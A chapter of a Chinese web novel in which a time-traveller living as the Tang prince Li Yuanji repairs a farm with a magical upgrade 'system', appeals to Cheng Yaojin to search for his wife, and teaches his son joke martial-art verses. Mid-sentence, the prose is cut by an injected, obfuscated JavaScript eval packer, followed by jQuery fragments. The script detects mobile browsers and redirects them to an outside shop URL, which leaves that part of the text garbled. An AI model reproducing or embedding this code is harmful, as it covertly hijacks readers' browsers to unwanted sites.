元卿不知道李世民会不会兑现他的要求,他也不能完全靠他,还是得想办法改善目前的处境。
但他不知道的是,程咬金得了李世民的吩咐,全力配合元卿,但不必太刻意,所以元卿才能如此顺当的使唤他的人,否则他们不对他恶言相向就不错了。
元卿撕下一截衣摆,转头寻了一根昨晚烧过的木条,“我写一份购物清单,你们照着上面买就好。”
那值守的小兵讪笑着挠了挠头,一双大眼十分明亮,“齐王殿下,不对,李郎君,俺们不识字,您直接说就行了。”
元卿想想也是,放弃了列清单的打算,他想了想,“现在市面上所有能买到的作物的种子都给我买一份,另外铁锹、锄头、镰刀先各来10把。”
那小兵咋舌,“李郎君是真打算种地啊?”
元卿微微一笑。
可不就是种地吗?民以食为天,若不把这基础的解决了,他后续怎么进行?得亏李世民给了他一片农庄。
交代完采购的小兵,元卿朝西侧的树林走去,他瞧见那边有很多竹子,这草屋不太结实,他得加固一下。
但刚走两步,李婉就嗒嗒跑过来,抱住他的腿,仰着小脑袋,“阿耶,陪我玩。”
元卿捏了捏她肉嘟嘟的脸,“我现在可没时间陪你玩。”
他抬头看了一圈,朝一群孩子中最大的老三李承奖招了招手,“三郎,你好好看着弟弟妹妹。”
通过这几日的观察,他发现这孩子十分活泼好动,喜欢刀剑,他道,“要是做得好,我教你练武。”
李承奖眼睛一亮,拍了拍胸脯,“阿耶放心,我一定会照看好弟弟妹妹。”
元卿点点头,这里有那么多人,他也不担心这些孩子出事。
走进树林,他挑了根粗实的竹子扬起斧子,他小时候长在乡下,看过他爷爷编制背篓,他也耳濡目染学了一些。
这竹子很结实,一斧子下去,震得元卿手臂发颤,他看着崩出了豁口的刀,嘴角微抽。
这个时代的铁制品质量那么差吗?不应该,他记得灌钢法在唐朝早已成熟,还是说只是单纯的他手里这把很次?
但他现在也找不到别的工具了,这时系统适时出声,“宿主可以尝试改造,你已经积累了三次机会。”
元卿犹豫不过一秒就做了决定,这是必要的生存工具,改造机会用掉就用掉吧。
他手握在斧头上,只感觉有股气韵在周身流淌,一眨眼,斧头已经变了一副模样,他问,“还能继续改造吗?”
系统给了他否定答案,“以宿主目前的繁荣度,只能改造最低级原始的物品,这把斧头因为损坏严重,所以才能改造成功,若它完好的,就属于中层次物品,无法改造。”
元卿依旧没有弄明白怎么界定物品的低级和高级,他把自己的疑问问了出来。
系统解释道,“如果现在你手里的是一块原材料,也就是物品最原始的状态,属于可以改造范畴。而斧子经过了加工淬炼,属于中层次,想要改造,就需要更多的繁荣值。”
元卿若有所思,“那种子、水源、土壤这些是不是也属于低级物品?”
系统卡了一下,回他,“是的,但以宿主目前的能力,只能很小范围改造这些东西,土壤大概一平米,水大概一盆的样子。”
元卿点点头,大致明白了其中的逻辑,“那改造后的种子是不是可以缩短生长周期?”
系统忽然就明白了他想做什么,回答他,“只要满足合适的生长条件,是可以的。”
元卿懂了,扬起斧子继续砍竹子,确实比之前好用多了,但距离吹毛断发还差得很远,不过他也不在意,事情总得一步一步来。
砍了几根,他一手一根拖回了茅屋前,不得不说这具身体的力量是真的不错。
带人巡视完一圈的程咬金,看着他如此轻松的模样,心里还有点惋惜,这要是他手底下的兵就好了。
他打了个手势,让两个士兵上前帮他,元卿道了一声谢,从小溪打了一桶水,使用了改造功能,他自己仰头喝了一口,顿觉神清气爽,昨晚一夜没睡的疲惫一扫而空。
他眉梢微动,“这可是个好东西,大家随便喝。”
六月的天,暑热难耐,没过一会儿身上都是汗。
两个士兵犹豫了一下,一人喝了一口,喝完后,其中一个人直接抱起了桶,另一个人吼道,“放下,老子还要喝!”
“不行,我先喝!”
程咬金:“???”
一桶水而已,有啥好抢的?
元卿也有点傻眼,这水确实不错,但也没到如此神的地步吧?
古代的水天然无污染,比现代不知道好到哪里去,他觉得即便不改造,这水质也是不错的,而且神禾塬本来就是一块风水宝地。
喝完水,两个帮忙的士兵更加卖力了,仅仅一个下午,在他们的帮忙下,元卿就把房子修补好了。
他在屋里找到一盒钉子,正好可以用上,否则他还不知道要怎么固定。
房子一共就三间,一间客厅,两间卧室,连厨房都是搭在露天,一下雨就没办法用。
元卿叹气,只能安慰自己,一切都会好的。
快到傍晚时,去城里采购的士兵回来了,他扛着一大包东西,脸上却全是喜色,他非常喜欢这种买东西的感觉,哪怕这东西并不是自己的。
“李郎君,您要的东西都买齐了,我可是跑了好多地儿才买到的。”那小兵炫耀道。
元卿看了他两眼,问,“你叫什么名字?”
小兵挠头嘿嘿一笑,“我姓徐,郎君叫我二虎就行。”
元卿打开包袱,东西果然齐全,他原本以为他要得多,徐二虎记不住才是,毕竟他只念了一遍。
他递了一个饼过去,“多谢,以后可否麻烦你继续帮忙?”
徐二虎连忙摆手,“郎君说笑了,你已经给过报酬了。”
只是他心里有点纳闷儿,以前都听说齐王殿下性子暴烈,但这接触下来还挺温和的,感觉传言有误。
而程咬金的感受却完全不同,他是和李元吉打过交道,知道他是什么性子,虽然太子已经交代过,但他还是觉得李元吉是装的,就看他什么时候露出马脚了。
这边徐二虎都回来了,可杨璧云还不见人影,陪她去的两个士兵也没回。
元卿有点担心,这可不是治安良好的后世。
但他现在唯一能求助的人只有程咬金,他走到搭建的军帐前,躬身一礼,“能否请将军派人去寻一寻拙荆?”
程咬金不为所动,“我们只奉命保护郎君。”
元卿深吸一口气,和他讲理,“拙荆不仅是我的妻子,还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375531|200086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前朝宗室后裔,将军就不担心她被有心人利用做文章?玄武门之变才过去四日,太子殿下根基未稳,现在不适合再生波折。”
程咬金深深看了他一眼,“李郎君当初要是有这个认知和脑子,就不会贪恋那个位置,和太子殿下作对了。”
元卿:“……”。
说事就说事,怎么还翻上旧账了?
况且野心勃勃的是李元吉,关他元卿什么事?他关心杨璧云也只是出于对生命的尊重。
“还请将军施以援手。”元卿深深行礼。
程咬金像是被他说服,拨了一队人去村子寻杨璧云。
“只希望郎君是真的醒悟,对太子殿下没有二心。”程咬金扔下这句话就回了自己的军帐。
他原本是不乐意来这个农庄的,他宁愿回去练兵,或者上战场杀敌,也不愿在这里无所事事地晃荡,只为看住一个犯人。
但太子却偏偏给了他这么一个指令,甚至还命令他无论如何也要保护好李元吉。
元卿瞧着他的背影,他想要把农庄发展起来,就必须得和程咬金打好关系。
可他搜遍了记忆,也没搜出什么有用的信息来,甚至还发现两人结着仇。
历史上李元吉奉李建成的命,企图将程咬金、尉迟恭等秦王府猛将外调,并处死。
那时的程咬金抱了必死之心,可见他对李世民是真的死心塌地。
元卿生了一堆火,几个小孩儿围在他身边,煮了一点粥,将今天徐二虎买回来的肉干撕了点进去煮软,给几个小孩儿先吃了,他自己才就着汤啃胡饼。
影视演义里倒是有关于程咬金喜好的描写,但他现在就是一个光杆司令,巧妇也难为无米之炊。
算了,走一步看一步吧。
元卿拍了拍手,端起最后一点粥,屋里还有两个嗷嗷待哺的婴孩儿。
别说,李承奖虽然好动,却把这些小孩儿照顾得挺好,至少没拉在身上。
地上铺了干草,还垫了被子,不算冷,却免不了有虫蚁。元卿看了眼两个小丫头脸上的红点,想着还是得打张床才行。
他心里担心杨璧云,但也无计可施,程咬金绝对不会让他出农庄。
李承奖跑过来蹲在他的身前,肉墩墩的身形非常有实感,他开始邀功,“阿耶,弟弟妹妹们今日都没闹。”
看着他眼里明晃晃的暗示,元卿差点没忍住笑出声,“好,教你。”
虽然他不会武功,但他会太极、八段锦,练了没办法杀人放火,却能强身健体,小孩也可以学习。
“来,听我口令。”走到院中,元卿站定开口,“双脚并拢站如松,手一抬起就抽风。”
李承奖已经摆好架势,听到这一句顿时“咦”了一声。
元卿看了他一眼,“咦什么?这可是绝世神功。”
李承奖总觉得有哪里不对,但出于对老子的信任,还是一丝不苟地跟着做。
元卿开始第二式,“左抱右抱像揉面,差点把鞋甩一边。”
军帐里的士兵陆陆续续走了出来,就连程咬金听到动静也没忍住,探出了一个头。
直到元卿最后两式收尾,“往后撤步最迷茫,踩到狗屎也得扛;深吸口气往下按,活着回来就是赚。”
程咬金听不下去了。
娘的,这教的都是什么玩意儿?